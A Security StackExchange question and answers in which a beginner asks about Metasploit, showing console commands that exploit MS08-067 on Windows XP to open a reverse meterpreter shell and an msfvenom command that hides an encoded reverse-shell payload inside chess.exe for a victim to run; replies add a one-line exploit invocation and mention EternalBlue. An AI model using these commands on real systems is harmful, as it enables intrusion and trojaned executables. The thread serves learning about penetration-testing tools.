1

I am newbie in Metasploit. Still learning the basics but I'm confused and would like some help.

1) - Previously I learnt how to simply exploit any O.S. vulnerability using meterpreter. We can send an exploit to the target system and create a bind/reverse shell for control. Example -

Hack windows xp with MS08-067 exploit

msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) >

msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.4 (Target) RHOST => 192.168.1.4

msf exploit(ms08_067_netapi) > exploit meterpreter > sysinfo meterpreter > shell

Now by the above commands we can use a shell of target from the attacker machine. There is no need to create any exe in order to connect to the target vulnerable system. Meterpreter automatically injects memory and we can get shell.

2) -

Now when we use an encoder we have to create an exe and have to bind our payload inside the exe. When the victim runs this exe we can get the victim's system shell.

msfvenom -p windows/meterpreter/reverse_tcp LHOST= "" LPORT= ""-x /usr/share/chess.exe -e x86/shikata_ga_nai -i 200 -f exe >chess.exe

In order to exploit the victim's system we have to transfer this exe to their system.

Question:

Previously we don't require any exe in order to exploit a system but with use of an encoder we need an exe to hide the payload. Can we simply encode our meterpreter tcp_bind payload without exe and send this to victim system?

Any help really appreciable.

  • Welcome to SSE. Short answer is yes. However, you might benefit from a long chat on the basic concepts with someone who's knowledgeable not only of MSF but also exploitation in general. Kinda hard to do that in a forum like SSE. :) – Sas3 Aug 10 '17 at 5:40
1

BackGround info (Because metasploit is my jam) : Most up to date systems are not really susceptible to remote attacks (Like you imply). The remote access payload you specified is used on windows XP for example. The reason msfvenom and other things are used, in conjunction with the exe is because it can be used to try and evade Anti-virus and other things along the lines. (However encoding is used to get rid of bad chars not make something invisible to anti-virus.)

Answer: Yes you are able to directly exploit the system, however you don't need to specify the payload. Upon successful exploitation with ms08 a meterpreter session will be opened.

Example of Exploit: msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set rhost <IP>; exploit"

Here is a useful link for this specific payload.

(if this is what you meant by previously)

  • You need to update the info. msfcli is no more part of the msf and is replace by msfconsole -x. There is a reliable remote code execution module for Windows 7 and Windows Server 2008 which is ms17_010 (aka the EternalBlue) – void_in Aug 10 '17 at 16:46
  • I updated the msfcli, however it was just an example from the link I have included in my answer :) – Paul_C Aug 10 '17 at 16:51

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.